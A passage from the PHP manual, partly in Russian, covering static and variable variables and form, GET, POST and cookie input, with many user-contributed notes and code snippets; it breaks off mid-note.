I believe that all normal-thinking people would never even try to make this work with the static-keyword, for those who try (like me), this note maybe helpfull.
jameslee at cs dot nmt dot edu 16-Jun-2005 02:33
It should be noted that a static variable inside a method is static across all instances of that class, i.e., all objects of that class share the same static variable.  For example the code:

<?php
class test {
    function z() {
        static $n = 0;
        $n++;
        return $n;
    }
}

$a =& new test();
$b =& new test();
print $a->z();  // prints 1, as it should
print $b->z();  // prints 2 because $a and $b have the same $n
?>

somewhat unexpectedly prints:
1
2
Michael Bailey (jinxidoru at byu dot net) 04-Jun-2004 11:43
Static variables do not hold through inheritance.  Let class A have a function Z with a static variable.  Let class B extend class A in which function Z is not overwritten.  Two static variables will be created, one for class A and one for class B.

Look at this example:

<?php
class A {
    function Z() {
        static $count = 0;
        printf("%s: %d\n", get_class($this), ++$count);
    }
}

class B extends A {}

$a = new A();
$b = new B();
$a->Z();
$a->Z();
$b->Z();
$a->Z();
?>

This code returns:

A: 1
A: 2
B: 1
A: 3

As you can see, class A and B are using different static variables even though the same function was being used.


Переменные переменных

Иногда бывает удобно иметь переменными имена переменных. То есть, имя переменной, которое может быть определено и изменено динамически. Обычная переменная определяется примерно таким выражением:

<?php
$a = 'hello';
?>

Переменная переменной берет значение переменной и рассматривает его как имя переменной. В вышеприведённом примере hello может быть использовано как имя переменной при помощи двух знаков доллара. То есть:

<?php
$$a = 'world';
?>

Теперь в дереве символов PHP определены и содержатся две переменные: $a, содержащая "hello" и $hello, содержащая "world". Таким образом, выражение

<?php
echo "$a {$$a}";
?>

выведет то же, что и

<?php
echo "$a $hello";
?>

то есть, они оба выведут: hello world.

Для того чтобы использовать переменные переменных с массивами, вы должны решить проблему двусмысленности. То есть, если вы напишете $$a[1], обработчику необходимо знать, хотите ли вы использовать $a[1] в качестве переменной, либо вам нужна как переменная $$a, а затем её индекс [1]. Синтаксис для разрешения этой двусмысленности таков: ${$a[1]} для первого случая и ${$a}[1] для второго.

К свойствам класса также можно получить доступ динамически. Переменное имя свойства будет разрешено в том контексте, в котором произойдёт вызов к нему. Например, в случае выражения $foo->$bar, локальная область видимости будет просканирована на наличие переменной $bar, значение которой будет использовано в качестве имени свойства объекта $foo. Это также работает и в том случае, если $bar осуществляет доступ к элементу массива.

Фигурные скобки могут также использоваться, чтобы чётко разграничить имя свойства. Они наиболее полезны при получении доступа к значениям внутри свойства, которое содержит массив, когда имя свойства состоит из нескольких частей, либо когда имя свойства содержит символы, которые иначе не действительны (например, из функции json_decode() или из SimpleXML).

Пример #1 Пример переменного имени свойства

<?php
class foo {
var $bar = 'I am bar.';
var $arr = array('I am A.', 'I am B.', 'I am C.');
var $r = 'I am r.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n";
echo $foo->{$baz[1]} . "\n";

$start = 'b';
$end = 'ar';
echo $foo->{$start . $end} . "\n";

$arr = 'arr';
echo $foo->{$arr[1]} . "\n";

?>

Результат выполнения данного примера:

I am bar.
I am bar.
I am bar.
I am r.

Внимание

Обратите внимание, что переменные переменных не могут использоваться с суперглобальными массивами PHP. Переменная $this также является особой, на неё нельзя ссылаться динамически.

User Contributed Notes

alexis at devleeschauwer dot fr 28-Sep-2023 08:07
Be careful, this may seem interesting but this concept makes the code difficult to read and understand, so it can be a source of bugs.
This is a bad design pattern.
You should not use it.
greaties at ghvernuft dot nl 22-Apr-2023 11:59
Superglobals can be referenced variably within a function, by calling them global:
<?php
function get_var($varname){
  global $$varname;
  var_dump( $$varname);
}

get_var('_POST');
?>

(Note originally posted at https://www.php.net/manual/en/language.variables.superglobals.php#128418 but also appropriate here)
sebastopolys at gmail dot com 03-Sep-2022 03:54
In addition, it is possible to use associative array to secure name of variables available to be used within a function (or class / not tested).

This way the variable variable feature is useful to validate variables; define, output and manage only within the function that receives as parameter
an associative array :
    array('index'=>'value','index'=>'value');
index = reference to variable to be used within function
value = name of the variable to be used within function
<?php

$vars = ['id'=>'user_id','email'=>'user_email'];

validateVarsFunction($vars);

function validateVarsFunction($vars){

    //$vars['id']=34; <- does not work
     // define allowed variables
     $user_id=21;
     $user_email='email@mail.com';

     echo $vars['id']; // prints name of variable: user_id
     echo ${$vars['id']}; // prints 21
     echo 'Email: '.${$vars['email']};  // print email@mail.com

     // we don't have the name of the variables before declaring them inside the function
}
?>
Anonymous 24-Aug-2022 02:54
I've found this could be useful in some way for using on multidimensional arrays:

       $f="1";$g="2";$h="3";
        $m="4";$n="5";$b="6";
        $q="7";$w="8";$e="9";
        $s="10";$d="11";$a="12";
        $l="13";$o="14";$p="15";
        $x="16";$c="17";$v="18";

        $one=["f","g","h"];
        $two=["m","n","b"];
        $three=["q","w","e"];
        $four=["s","d","a"];
        $five=["l","o","p"];
        $six=["x","c","v"];

        $first = array("one", "two", "three") ;
        $second = array("four", "five", "six") ;

        $a = ["first","second"] ;

        print_r(${${${$a[1]}[1]}[1]});    // 16
derek at deperu dot com 23-Apr-2021 07:14
How to use variable variables with for and foreach():

<?php
$obj_1 = array("one" => "One", "two" => "Two", "three" => "Three");
$obj_2 = array("one" => "Four", "two" => "Five", "three" => "Six");
$obj_3 = array("one" => "Seven", "two" => "Eight", "three" => "Nine");

for ($i=1; $i < 4; $i++) {

    foreach (${"obj_".$i} as $key => $value) {

        echo $key . ': ' . $value."\n";

    }
}
?>

Result:

one: One
two: Two
three: Three
one: Four
two: Five
three: Six
one: Seven
two: Eight
three: Nine
Alex 27-May-2020 10:27
If you want to use Variable Variables with $_POST,
you may follow this example:

<?php
// you created a form with variable names:
$_POST['content_1'] = "blabla";
$_POST['content_2'] = "blublu";
// ...
$_POST['content_99'] = "bleble";

// Then, you can use a loop:

for ($i=1; $i<99;$i++)
{
echo $_POST["content_$i"];
}

?>
marcin dot dzdza at gmail dot com 10-Feb-2019 11:59
The feature of variable variable names is welcome, but it should be avoided when possible. Modern IDE software fails to interpret such variables correctly, regular find/replace also fails. It's a kind of magic :) This may really make it hard to refactor code. Imagine you want to rename variable $username to $userName and try to find all occurrences of $username in code by checking "$userName". You may easily omit:
$a = 'username';
echo $$a;
houssemzitoun91 at gmail dot com 02-Jun-2018 05:54
Even outside a function or a class method  variable variables cannot be used with PHP's Superglobal arrays. See the example bellow:
<?php

$a = '$GLOBALS["a"]';

function foo()
{
        global $a;
        echo $$a;
}

echo $GLOBALS["a"], PHP_EOL; // $GLOBALS["a"]

echo ${$a}; // PHP Notice:  Undefined variable: $GLOBALS["a"]
wuhanqinb at gmail dot com 21-Mar-2018 07:42
For example #1,line:
echo $foo->$baz[1] . "\n";
It should be:
echo $foo->{$baz[1]} . "\n";
to run correctly.
herebepost (ta at ta) [iwonderr] gmail dot com 11-Jul-2016 07:32
While not relevant in everyday PHP programming, it seems to be possible to insert whitespace and comments between the dollar signs of a variable variable.  All three comment styles work. This information becomes relevant when writing a parser, tokenizer or something else that operates on PHP syntax.

<?php

    $foo = 'bar';
    $

    /*
        I am complete legal and will compile without notices or error as a variable variable.
    */
        $foo = 'magic';

    echo $bar; // Outputs magic.

?>

Behaviour tested with PHP Version 5.6.19
jefrey.sobreira [at] gmail [dot] com 01-Feb-2015 05:34
If you want to use a variable value in part of the name of a variable variable (not the whole name itself), you can do like the following:

<?php
$price_for_monday = 10;
$price_for_tuesday = 20;
$price_for_wednesday = 30;

$today = 'tuesday';

$price_for_today = ${ 'price_for_' . $today};
echo $price_for_today; // will return 20
?>
Aycan Yat 19-Oct-2013 06:15
Sometimes you might wish to modify value of an existing variable by its name. This is easily accomplishable with a combination of using "passing by reference" and "variable variables".

$first_var = 1;
$second_var = 2;
$third_var = 3;

$which_one = array_rand('first', 'second', 'third');
//Let's consider the result is "second".

$modifier = $$which_one;  //Now $modifier has value 2.
$modifier++; //Now $modifier's value is 3.
echo $second_var; //Prints out 2

//Consider we wish to modify the value of $second_var
$modifier = &$$which_one;  //Simply passing by reference
$modifier++; //Now value of $second_var is 3 too.
echo $second_var; //Prints out 3

It's that simple!
coviex at gmail dot com 08-Sep-2013 02:31
In 5.4 "Dynamic class references require the fully qualified class name (with the namespace in it) because at runtime there is no information about the current namespace." is still true.
Neither simple class name nor containing subnamespace works.
Initial source: https://bugs.php.net/bug.php?id=45197
nils dot rocine at gmail dot com 28-Jun-2012 01:58
Variable Class Instantiation with Namespace Gotcha:

Say you have a class you'd like to instantiate via a variable (with a string value of the Class name)

<?php

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'Foo';

$instance = new $class;

?>

The above works fine UNLESS you are in a (defined) namespace. Then you must provide the full namespaced identifier of the class as shown below. This is the case EVEN THOUGH the instancing happens in the same namespace. Instancing a class normally (not through a variable) does not require the namespace. This seems to establish the pattern that if you are using an namespace and you have a class name in a string, you must provide the namespace with the class for the PHP engine to correctly resolve (other cases: class_exists(), interface_exists(), etc.)

<?php

namespace MyNamespace;

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'MyNamespace\Foo';

$instance = new $class;

?>
Omar Juvera 07-Aug-2011 01:40
The example given in the php manual is confusing!
I think this example it's easier to understand:

<?php

//Let's create a new variable: $new_variable_1
$var_name = "new_variable_1"; //$var_name will store the NAME of the new variable

//Let's assign a value to that [$new_variable_1] variable:
$$var_name  = "value 1"; //Value of $new_variable_1 = "value 1"

echo "VARIABLE: " . $var_name;
echo "<br />";
echo "VALUE: " . $$var_name;
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1

You can also create new variables in a loop:
<?php

for( $i = 1; $i < 6; $i++ )
{
$var_name[] = "new_variable_" . $i; //$var_name[] will hold the new variable NAME
}

${$var_name[0]}  = "value 1"; //Value of $new_variable_1 = "value 1"
${$var_name[1]}  = "value 2"; //Value of $new_variable_2 = "value 2"
${$var_name[2]}  = "value 3"; //Value of $new_variable_3 = "value 3"
${$var_name[3]}  = "value 4"; //Value of $new_variable_4 = "value 4"
${$var_name[4]}  = "value 5"; //Value of $new_variable_5 = "value 5"

echo "VARIABLE: " . $var_name[0] . "\n";
echo "<br />";
echo "VALUE: " . ${$var_name[0]};
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1
mason 28-Jun-2010 12:39
PHP actually supports invoking a new instance of a class using a variable class name since at least version 5.2

<?php
class Foo {
   public function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$a = new $my_foo();
$a->hello(); //prints 'Hello world!'
?>

Additionally, you can access static methods and properties using variable class names, but only since PHP 5.3

<?php
class Foo {
   public static function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$my_foo::hello(); //prints 'Hello world!'
?>
userb at exampleb dot org 08-Apr-2010 02:39
<?php

  //You can even add more Dollar Signs

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

  //... and so on ...//

?>
dlorre at yahoo dot com 16-Feb-2010 12:04
Adding an element directly to an array using variables:

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
$$a[] ="four" ; // <==== fatal error
print_r($tab) ;
?>
will issue this error:

Fatal error: Cannot use [] for reading

This is not a bug, you need to use the {} syntax to remove the ambiguity.

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
${$a}[] =  "four" ; // <==== this is the correct way to do it
print_r($tab) ;
?>
php at ianco dot co dot uk 28-May-2009 02:47
<?php
// $variable-name = 'parse error';
// You can't do that but you can do this:
$a = 'variable-name';
$$a = 'hello';
echo $variable-name . ' ' . $$a; // Gives     0 hello
?>

For a particular reason I had been using some variable names with hyphens for ages. There was no problem because they were only referenced via a variable variable. I only saw a parse error much later, when I tried to reference one directly. It took a while to realise that illegal hyphens were the cause because the parse error only occurs on assignment.
nullhility at gmail dot com 06-Jun-2008 12:43
It's also valuable to note the following:

<?php
${date("M")} = "Worked";
echo ${date("M")};
?>

This is perfectly legal, anything inside the braces is executed first, the return value then becomes the variable name. Echoing the same variable variable using the function that created it results in the same return and therefore the same variable name is used in the echo statement. Have fun ;).
Nathan Hammond 11-Feb-2008 03:41
These are the scenarios that you may run into trying to reference superglobals dynamically. Whether or not it works appears to be dependent upon the current scope.

<?php

$_POST['asdf'] = 'something';

function test() {
    // NULL -- not what initially expected
    $string = '_POST';
    var_dump(${$string});

    // Works as expected
    var_dump(${'_POST'});

    // Works as expected
    global ${$string};
    var_dump(${$string});

}

// Works as expected
$string = '_POST';
var_dump(${$string});

test();

?>
correojulian33-php at yahoo dot es 28-Nov-2007 06:59
This example may help to overcome the limitation on $this.

Populate automatically fields of an object form a $_GET variable.

<?php
class pp{
   var $prop1=1,$prop2=2,$prop3=array(3,4,5);

   function fun1(){
      $vars=get_class_vars('pp');
      while(list($var,$value)=each($vars)){
               $ref=& $this->$var;
               $ref=$_GET[$var];

      } // while
      var_dump($this);
   }
}

$_GET['prop1']="uno";
$_GET['prop2']="dos";
$_GET['prop3']=array('tres','cuatro','cinco','seis');

$p=new pp();
$p->fun1();
?>

output is ...

object(pp)#1 (3) {
  ["prop1"]=>
  &string(3) "uno"
  ["prop2"]=>
  &string(3) "dos"
  ["prop3"]=>
  &array(4) {
    [0]=>
    string(4) "tres"
    [1]=>
    string(6) "cuatro"
    [2]=>
    string(5) "cinco"
    [3]=>
    string(4) "seis"
  }
}
the_tevildo at yahoo dot com 13-Oct-2007 06:22
This is a handy function I put together to allow variable variables to be used with arrays.

To use the function, when you want to reference an array, send it in the form 'array:key' rather than 'array[key]'.

For example:

<?php

function indirect ($var, $value)     // Replaces $$var = $value
{
   $var_data = $explode($var, ':');
   if (isset($var_data[1]))
   {
      ${$var_data[0]}[$var_data[1]] = $value;
   }
   else
   {
      ${$var_data[0]} = $value;
   }
}

$temp_array = array_fill(0, 4, 1);
$temp_var = 1;
$int_var_list = array('temp_array[2]', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   //  Doesn't work - creates scalar variable called "$temp_array[2]"
   $$var_name = 0;
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';

//  Does work!

$int_var_list = array('temp_array:2', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   indirect($var_name, 2);
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';
?>
Sinured 11-Jun-2007 06:07
One interesting thing I found out: You can concatenate variables and use spaces. Concatenating constants and function calls are also possible.

<?php
define('ONE', 1);
function one() {
    return 1;
}
$one = 1;

${"foo$one"} = 'foo';
echo $foo1; // foo
${'foo' . ONE} = 'bar';
echo $foo1; // bar
${'foo' . one()} = 'baz';
echo $foo1; // baz
?>

This syntax doesn't work for functions:

<?php
$foo = 'info';
{"php$foo"}(); // Parse error

// You'll have to do:
$func = "php$foo";
$func();
?>

Note: Don't leave out the quotes on strings inside the curly braces, PHP won't handle that graciously.
Anonymous 13-Mar-2005 07:25
It may be worth specifically noting, if variable names follow some kind of "template," they can be referenced like this:

<?php
// Given these variables ...
$nameTypes    = array("first", "last", "company");
$name_first   = "John";
$name_last    = "Doe";
$name_company = "PHP.net";

// Then this loop is ...
foreach($nameTypes as $type)
  print ${"name_$type"} . "\n";

// ... equivalent to this print statement.
print "$name_first\n$name_last\n$name_company\n";
?>

This is apparent from the notes others have left, but is not explicitly stated.
sir_hmba AT yahoo DOT com 06-May-2003 03:08
This is somewhat redundant, but I didn't see an example that combined dynamic reference of *both* object and attribute names.

Here's the code:

<?php
class foo
{
    var $bar;
    var $baz;

    function foo()
    {
        $this->bar = 3;
        $this->baz = 6;
    }
}

$f = new foo();
echo "f->bar=$f->bar  f->baz=$f->baz\n";

$obj  = 'f';
$attr = 'bar';
$val  = $$obj->{$attr};

echo "obj=$obj  attr=$attr  val=$val\n";
?>

And here's the output:

f->bar=3  f->baz=6
$obj=f  $attr=bar  $val=3
antony dot booth at nodomain dot here 19-Sep-2002 07:17
You may think of using variable variables to dynamically generate variables from an array, by doing something similar to: -

<?php
 foreach ($array as $key => $value)
 {
  $$key= $value;
 }

?>

This however would be reinventing the wheel when you can simply use:

<?php
extract( $array, EXTR_OVERWRITE);
?>

Note that this will overwrite the contents of variables that already exist.

Extract has useful functionality to prevent this, or you may group the variables by using prefixes too, so you could use: -

EXTR_PREFIX_ALL

<?php
$array =array("one" => "First Value",
"two" => "2nd Value",
"three" => "8"
                );

extract( $array, EXTR_PREFIX_ALL, "my_prefix_");

?>

This would create variables: -
$my_prefix_one
$my_prefix_two
$my_prefix_three

containing: -
"First Value", "2nd Value" and "8" respectively
jupp-mueller at t-online dot de 08-Sep-2002 06:29
I found another undocumented/cool feature: variable member variables in classes. It's pretty easy:

<?php
class foo {
  function bar() {
    $bar1 = "var1";
    $bar2 = "var2";
    $this->{$bar1}= "this ";
    $this->{$bar2} = "works";
  }
}

$test = new foo;
$test->bar();
echo $test->var1 . $test->var2;
?>
J. Dyer 12-Aug-2002 01:05
Another use for this feature in PHP is dynamic parsing..

Due to the rather odd structure of an input string I am currently parsing, I must have a reference for each particular object instantiation in the order which they were created.  In addition, because of the syntax of the input string, elements of the previous object creation are required for the current one.

Normally, you won't need something this convolute.  In this example, I needed to load an array with dynamically named objects - (yes, this has some basic Object Oriented programming, please bare with me..)

<?php
   include("obj.class");

   // this is only a skeletal example, of course.
   $object_array = array();

   // assume the $input array has tokens for parsing.
   foreach ($input_array as $key=>$value){
      // test to ensure the $value is what we need.
         $obj = "obj".$key;
         $$obj = new Obj($value, $other_var);
         Array_Push($object_array, $$obj);
      // etc..
   }

?>

Now, we can use basic array manipulation to get these objects out in the particular order we need, and the objects no longer are dependant on the previous ones.

I haven't fully tested the implimentation of the objects.  The  scope of a variable-variable's object attributes (get all that?) is a little tough to crack.  Regardless, this is another example of the manner in which the var-vars can be used with precision where tedious, extra hard-coding is the only alternative.

Then, we can easily pull everything back out again using a basic array function: foreach.

<?php
//...
   foreach($array as $key=>$object){

      echo $key." -- ".$object->print_fcn()." <br/>\n";

   } // end foreach

?>

Through this, we can pull a dynamically named object out of the array it was stored in without actually knowing its name.
04-Jun-2002 11:34
The 'dollar dereferencing' (to coin a phrase) doesn't seem to be limited to two layers, even without curly braces.  Observe:

<?php
$one = "two";
$two = "three";
$three = "four";
$four = "five";
echo $$$$one; //prints 'five'.
?>

This works for L-values as well.  So the below works the same way:

<?php
$one = "two";
$$one = "three";
$$$one = "four";
$$$$one = "five";
echo $$$$one; //still prints 'five'.
?>

NOTE: Tested on PHP 4.2.1, Apache 2.0.36, Red Hat 7.2
chrisNOSPAM at kampmeier dot net 08-Aug-2001 10:40
Note that normal variable variables will not be parsed in double-quoted strings. You'll have to use the braces to make it work, to resolve the ambiguity. For example:

<?php
$varname = "foo";
$foo = "bar";

print $$varname;  // Prints "bar"
print "$$varname";  // Prints "$foo"
print "${$varname}"; // Prints "bar"
?>
mstearne at entermix dot com 10-May-2001 06:09
Variable variables techniques do not work when one of the "variables" is a constant.  The example below illustrates this.  This is probably the desired behavior for constants, but was confusing for me when I was trying to figure it out.  The alternative I used was to add the variables I needed to the $GLOBALS array instead of defining them as constants.

<?php

define("DB_X_NAME","database1");
define("DB_Y_NAME","database2");
$DB_Z_NAME="database3";

function connectTo($databaseName){
global $DB_Z_NAME;

$fullDatabaseName="DB_".$databaseName."_NAME";
return ${$fullDatabaseName};

}

print "DB_X_NAME is ".connectTo("X")."<br>";
print "DB_Y_NAME is ".connectTo("Y")."<br>";
print "DB_Z_NAME is ".connectTo("Z")."<br>";

?>
[Editor Note: For variable constants, use constant() --Philip]
dnl at au dot ru 08-Dec-2000 11:01
By the way...
Variable variables can be used as pointers to objects' properties:

<?php
class someclass {
  var $a = "variable a";
  var $b = "another variable: b";
  }

$c = new someclass;
$d = "b";
echo $c->{$d};
?>

outputs: another variable: b
mccoyj at mail dot utexas dot edu 03-Nov-2000 03:36
There is no need for the braces for variable object names...they are only needed by an ambiguity arises concerning which part of the reference is variable...usually with arrays.

<?php
class Schlemiel {
var $aVar = "foo";
}

$schlemiel = new Schlemiel;
$a = "schlemiel";
echo $$a->aVar;
?>

This code outputs "foo" using PHP 4.0.3.

Hope this helps...
- Jordan


Переменные извне PHP

HTML-формы (GET и POST)

Когда происходит отправка данных формы PHP-скрипту, информация из этой формы автоматически становится доступной ему. Существует несколько способов получения этой информации, например:

Пример #1 Простая HTML-форма

<form action="foo.php" method="post">
    Имя:  <input type="text" name="username" /><br />
    Email: <input type="text" name="email" /><br />
    <input type="submit" name="submit" value="Отправь меня!" />
</form>

Есть только два способа получить доступ к данным из форм HTML. Доступные сейчас способы приведены ниже:

Пример #2 Доступ к данным из простой HTML-формы, отправленной через POST

<?php
echo $_POST['username'];
echo $_REQUEST['username'];
?>

GET-форма используется аналогично, за исключением того, что вместо POST, вам нужно будет использовать соответствующую предопределённую переменную GET. GET относится также к QUERY_STRING (информация в URL после '?'). Так, например, http://www.example.com/test.php?id=3 содержит GET-данные, доступные как $_GET['id']. Смотрите также $_REQUEST.

Замечание:

Точки и пробелы в именах переменных преобразуется в знаки подчёркивания. Например, <input name="a.b" /> станет $_REQUEST["a_b"].

PHP также понимает массивы в контексте переменных формы (смотрите соответствующие ЧАВО). К примеру, вы можете сгруппировать связанные переменные вместе или использовать эту возможность для получения значений списка множественного выбора select. Например, давайте отправим форму самой себе, а после отправки отобразим данные:

Пример #3 Более сложные переменные формы

<?php
if ($_POST) {
echo '<pre>';
echo htmlspecialchars(print_r($_POST, true));
echo '</pre>';
}
?>
<form action="" method="post">
Имя: <input type="text" name="personal[name]" /><br />
Email: <input type="text" name="personal[email]" /><br />
Пиво: <br />
<select multiple name="beer[]">
<option value="warthog">Warthog</option>
<option value="guinness">Guinness</option>
<option value="stuttgarter">Stuttgarter Schwabenbrau</option>
</select><br />
<input type="submit" value="Отправь меня!" />
</form>

Замечание: Если внешнее имя переменной начинается с корректного синтаксиса массива, завершающие символы молча игнорируются. Например, <input name="foo[bar]baz"> станет $_REQUEST['foo']['bar'].

Имена переменных кнопки-изображения

При отправке формы вместо стандартной кнопки можно использовать изображение с помощью тега такого вида:

<input type="image" src="image.gif" name="sub" />

Когда пользователь щёлкнет где-нибудь на изображении, соответствующая форма будет передана на сервер с двумя дополнительными переменными - sub_x и sub_y. Они содержат координаты нажатия пользователя на изображение. Опытные программисты могут заметить, что на самом деле имена переменных, отправленных браузером, содержат точку, а не подчёркивание, но PHP автоматически преобразует точку в подчёркивание.

HTTP Cookies

PHP прозрачно поддерживает HTTP cookies как определено в » RFC 6265. Cookies - это механизм для хранения данных в удалённом браузере и, таким образом, отслеживания и идентификации вернувшихся пользователей. Вы можете установить cookies, используя функцию setcookie(). Cookies являются частью HTTP-заголовка, поэтому функция SetCookie должна вызываться до того, как браузеру будет отправлен какой бы то ни было вывод. Это то же ограничение, что и для функции header(). Данные, хранящиеся в cookie, доступны в соответствующих массивах данных cookie, таких как $_COOKIE и $_REQUEST. Подробности и примеры смотрите в справочной странице setcookie().

Замечание: Начиная с PHP 7.2.34, 7.3.23 и 7.4.11, соответственно, имена входящих cookie больше не декодируются из URL-закодированной строки из соображений безопасности.

Если вы хотите присвоить множество значений одной переменной cookie, вы можете присвоить их как массив. Например:

<?php
setcookie("MyCookie[foo]", 'Testing 1', time()+3600);
setcookie("MyCookie[bar]", 'Testing 2', time()+3600);
?>

Это создаст две разные cookie, хотя в вашем скрипте MyCookie будет теперь одним массивом. Если вы хотите установить именно одну cookie со множеством значений, сначала рассмотрите возможность использования к значениям такие функции, как serialize() или explode().

Обратите внимание, что cookie заменит предыдущую cookie с тем же именем в вашем браузере, если только путь или домен не отличаются. Так, для приложения корзины покупок вы, возможно, захотите сохранить счётчик. То есть:

Пример #4 Пример использования setcookie()

<?php
if (isset($_COOKIE['count'])) {
$count = $_COOKIE['count'] + 1;
} else {
$count = 1;
}
setcookie('count', $count, time()+3600);
setcookie("Cart[$count]", $item, time()+3600);
?>

Точки в именах приходящих переменных

Как правило, PHP не меняет передаваемых скрипту имён переменных. Однако следует отметить, что точка не является корректным символом в имени переменной PHP. Поэтому рассмотрим такую запись:

<?php
$varname.ext; /* неверное имя переменной */
?>
В данном случае интерпретатор видит переменную $varname, после которой идёт оператор конкатенации, а затем голая строка (то есть, не заключённая в кавычки строка, не соответствующая ни одному из ключевых или зарезервированных слов) 'ext'. Очевидно, что это не даст ожидаемого результата.

По этой причине важно отметить, что PHP будет автоматически заменять любые точки в именах, приходящих переменных на символы подчёркивания.

Определение типов переменных

Поскольку PHP определяет типы переменных и преобразует их (как правило) по мере необходимости, не всегда очевидно, какой тип имеет данная переменная в любой момент времени. PHP содержит несколько функций, позволяющих определить тип переменной, таких как: gettype(), is_array(), is_float(), is_int(), is_object() и is_string(). Смотрите также раздел Типы.

HTTP является текстовым протоколом, и большинство, если не всё, содержимое, которое приходит в суперглобальные массивы, например, $_POST и $_GET, останется в виде строк. PHP не будет преобразовывать значения в определённый тип. В приведённом ниже примере $_GET["var1"] будет содержать строку "null", а $_GET["var2"] - строку "123".

/index.php?var1=null&var2=123

Список изменений

Версия | Описание
7.2.34, 7.3.23, 7.4.11 | имена входящих cookie больше не декодируются из URL-закодированной строки из соображений безопасности.

User Contributed Notes

anisgazis at gmail dot com 10-Jan-2019 03:59
Dots , spaces and [  in variable names are converted to underscores. For example
<input name="a.b" /> becomes $_REQUEST["a_b"].
<input name="a b" /> becomes $_REQUEST["a_b"].
<input name="a[b" /> becomes $_REQUEST["a_b"].
<input name="a]b" /> becomes $_REQUEST["a]b"].
<input name="a-b" /> becomes $_REQUEST["a-b"].
<input name="a/b" /> becomes $_REQUEST["a/b"].
<input name="a\b" /> becomes $_REQUEST["a\b"].
<input name="a,b" /> becomes $_REQUEST["a,b"].
fabian dot picone at gmail dot com 24-Sep-2018 01:51
"That will create two separate cookies although MyCookie will now be a single array in your script. If you want to set just one cookie with multiple values, consider using serialize() or explode() on the value first."

explode should be implode in this sentence.
Sadik_quake2003 at mail dot ru 05-Aug-2017 09:51
<form method="post">
    <select name="selecter">
        <option>one</option>
        <option>two</option>
        <option>three</option>
    </select><br />
    <input type="submit" value="send" />
</form>

<?=$_POST["selecter"];?>

If we change first option, that result will be: one (important: not null !)
Sadik_quake2003 at mail dot ru 05-Aug-2017 09:51
<form method="post">
    <select name="list">
        <option>one</option>
        <option>two</option>
        <option>three</option>
    </select><br />
    <input type="submit" value="send" />
</form>

<?=$_POST["list"];?>

If we change first option, that result will be: one (important: not null !)
Anonymous 05-Feb-2014 12:42
From HTML 5.1 Draft:
http://www.w3.org/html/wg/drafts/html/master/forms.html#naming-form-controls:-the-name-attribute

The name content attribute gives the name of the form control, as used in form submission and in the form element's elements object. If the attribute is specified, its value must not be the empty string.
Any non-empty value for name is allowed.

So use the format like this <select multiple name="beer[]"> is still in the HTML 5 standard.
walf 03-Aug-2011 06:38
WARNING! replacement of spaces and dots does not occur in array keys.

E.g. If you have
<input name="a. b[x. y]" value="foo" />

var_dump($_POST);
gives
array(1) {
  ["a__b"]=>
  array(1) {
    ["x. y"]=>
    string(3) "foo"
  }
}
POSTer 13-Nov-2009 02:28
Here's a simple function to give you an uncorrupted version of $_POST:

<?php
// Function to fix up PHP's messing up POST input containing dots, etc.
function getRealPOST() {
    $pairs = explode("&", file_get_contents("php://input"));
    $vars = array();
    foreach ($pairs as $pair) {
        $nv = explode("=", $pair);
        $name = urldecode($nv[0]);
        $value = urldecode($nv[1]);
        $vars[$name] = $value;
    }
    return $vars;
}
?>
Anonymous 13-Feb-2008 06:46
The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.
vierubino dot r3m0oFdisB1T at gmail dot com 24-Aug-2007 09:12
When you are using checkboxes to submit multiple choices, there is no need to use the complex method further down the page where you assign a unique name to each checkbox.

Instead, just name each checkbox as the same array, e.g.:

<input type="checkbox" name="items[]" value="foo" />
<input type="checkbox" name="items[]" value="bar" />
<input type="checkbox" name="items[]" value="baz" />

This way your $_POST["items"] variable will return as an array containing all and only the checkboxes that were clicked on.
t.montg AT gmail DOT com 26-Apr-2007 05:05
For anyone else having trouble figuring out how to access values in a SELECT element from a POST or GET form, you can't set the "id" attribute to the same thing as your "name" attribute.  i.e. don't do this:

<?php
  //Not so good
  <select multiple="multiple" id="selectElem" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

If you do the above, the variable $_POST['selectElem'] will not be set.  Instead, either change the id or name attribute so that they are dissimilar.  i.e. do this:

<?php
  //So good (notice the new "id" value)
  <select multiple="multiple" id="selectElemId" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

Then you can access the value(s) of the SELECT element through the array $_POST['selectElem'][] or $_GET['selectElem'][].  It took me quite some time to figure out the problem.
ch1902uk at hotmail dot com 18-Mar-2006 11:47
Regarding image input buttons, above where it says:

"When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two *additional* variables, sub_x and sub_y. These contain the coordinates of the user click within the image."

This is the case with Firefox (and probably other standards browsers), however my experience with Internet Explorer is that when image inputs are clicked, they only submit the location of the click on the button and *not* the name of the input.

So if you have a form to move/delete entries like this

entry[]  [delete_0] [up_0] [down_0]
entry[]   [delete_1] [up_1] [down_1]
entry[]   [delete_2] [up_2] [down_2]

Then submitting the form in firefox will give you post variables such as

<?php
